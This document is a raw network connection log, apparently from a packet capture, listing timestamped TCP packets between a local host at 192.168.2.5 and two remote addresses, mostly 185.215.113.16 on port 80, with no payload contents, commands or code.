Oct 30, 2024 21:56:21.314471960 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:21.314609051 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:21.320307970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.320318937 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.320384026 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359072924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359090090 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359100103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359134912 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359195948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359364986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359375000 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359386921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359396935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359407902 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359416962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359453917 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359453917 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359488964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359515905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359527111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359543085 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359555006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359566927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.359572887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359572887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359597921 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359652042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.359982967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360033989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360044956 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360064030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360068083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360074997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360086918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360111952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360111952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360147953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360577106 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360595942 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360608101 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360642910 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360678911 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360820055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.360961914 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.360986948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.361027002 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.391932011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.392039061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.392044067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.392055035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.392065048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.392076015 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.392081022 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.392113924 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.475399017 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475462914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475471973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475507975 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475549936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475560904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475574970 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.475615025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475615025 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.475615025 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.475627899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.475677013 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.475677013 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476089001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476116896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476126909 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476170063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476409912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476454020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476460934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476464987 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476475000 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476500988 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476536989 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476548910 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476562023 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476572037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476581097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.476596117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476623058 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.476623058 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.477042913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477062941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477072001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477124929 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.477344036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477355003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477380991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477389097 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.477391005 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477401972 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.477421045 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.477452993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.477452993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.508414984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508425951 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508435965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508483887 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.508501053 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.508534908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508554935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508567095 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508577108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.508598089 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.508610964 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592149019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592185974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592262983 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592283010 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592294931 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592346907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592346907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592381954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592394114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592405081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592428923 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592439890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592449903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592449903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592458010 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592468977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592472076 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592482090 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592494011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.592513084 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592539072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.592539072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.593307018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593317986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593329906 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593339920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593349934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.593353033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593358040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.593379021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.593384027 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593394041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.593398094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.593435049 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.594625950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.594636917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.594647884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.594671965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.594685078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.594696045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.594707012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.594746113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.624670982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.624681950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.624692917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.624754906 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.624766111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.624773026 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.624777079 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.624809980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.624825954 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.625008106 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.625016928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.625021935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.625061035 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.708307028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708339930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708349943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708360910 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708425999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.708458900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708508015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.708519936 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.708662987 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708672047 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708724976 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.708729029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708739042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708745003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708755016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.708782911 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.708795071 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709028959 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709089041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709100008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709125042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709125042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709136009 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709155083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709168911 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709445953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709459066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709469080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709501028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709502935 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709511995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709521055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.709531069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709548950 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.709562063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.710068941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.710078955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.710092068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.710125923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.710130930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.710134029 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.710144043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.710170984 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.710189104 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.741463900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741498947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741512060 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741553068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741563082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741574049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741575003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.741585016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741596937 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741597891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.741614103 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.741642952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.741782904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741827965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741838932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.741877079 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.824892044 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.824903965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.824913025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.824950933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.824990034 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825125933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825134993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825145006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825158119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825167894 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825177908 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825200081 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825200081 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825213909 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825400114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825411081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825443983 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825473070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825481892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825491905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825503111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825503111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825515985 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825521946 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825524092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.825539112 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.825563908 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.826153040 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826164007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826183081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826193094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.826193094 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826204062 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826227903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.826271057 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.826632977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826643944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826674938 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.826695919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826705933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.826736927 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.856004000 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:21.856081009 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:21.856209993 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:21.856230974 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:21.858088970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858165026 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858175039 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858185053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858205080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858216047 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858225107 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858236074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858246088 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858297110 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.858372927 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.858510971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858529091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858567953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.858582973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858593941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.858608961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.858639002 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941173077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941184044 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941242933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941427946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941461086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941469908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941479921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941504955 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941529036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941536903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941540956 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941562891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941591978 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941833019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941865921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941875935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941910982 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941912889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.941929102 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.941961050 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.942217112 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942225933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942235947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942266941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.942289114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942293882 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.942300081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942311049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942353964 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.942383051 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.942825079 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942842007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942852020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942863941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942873955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.942918062 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.943324089 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.943334103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.943346024 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.943356037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.943396091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.943396091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.974580050 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974591970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974602938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974649906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.974658012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974669933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974680901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974687099 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.974714041 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.974733114 CET	50233	80	192.168.2.5	185.215.113.16
